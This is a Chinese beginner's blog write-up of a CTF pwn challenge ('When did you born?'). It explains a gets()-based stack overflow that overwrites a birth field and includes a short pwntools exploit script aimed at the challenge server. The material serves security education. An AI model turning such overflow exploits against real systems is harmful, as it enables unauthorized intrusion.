Nepire的pwn入门学习之旅——(一)

欢迎大家来到Nepire的pwn入门,本系列主要是通过CTF中pwn题的各种类型的解题过程来学习pwn相关的知识,让我们在pwn的世界沦陷吧呜喵~

这次我要讲的是南邮CTF里的pwn50—When did you born?这是我最初做出来的几题pwn之一,算是很基础的pwn题,,所以让我们从这题开始入门吧~

题目

nc ctf.acdxvfsvd.net 1926
Try not to be naive
https://cgctf.nuptsast.com/challenges#Pwn

WriteUp

连上去发现是让我们输入Your Birth,膜法师们自然就肯定要输入一波1926,然后得到

这里写图片描述

这时就知道了,这里肯定有点东西。

打开test.c文件查看源码,

发现得到flag的条件是student.birth=1926,而14行的if语句要求birth!=1926才可继续执行,这时我们在19行找到了gets,我们便可以通过栈溢出来覆盖birth的值,于是我们编译test.c后丢进ida找name和birth的偏移量

Nepire的pwn入门学习之旅——(一)_第1张图片

这时我们可以算出差值为8,这时我们就可以开始构造exp

Nep_exp

from pwn import  *  
n = remote("ctf.acdxvfsvd.net",1926)  
payload = 'a'*8 + p32(1926)        
n.recvuntil("What\'s Your Birth?\n")  
n.sendline("2333")   
n.recvuntil("What\'s Your Name?\n")
n.sendline(payload)   
n.interactive()

完成,发送查看结果

Nep

get flag~

这里是,一个在学习pwn的路上不断翻滚的萌新 如果文章有什么错误的,欢迎各位dalao在下面评论回复。

————Nepire

你可能感兴趣的:(pwn)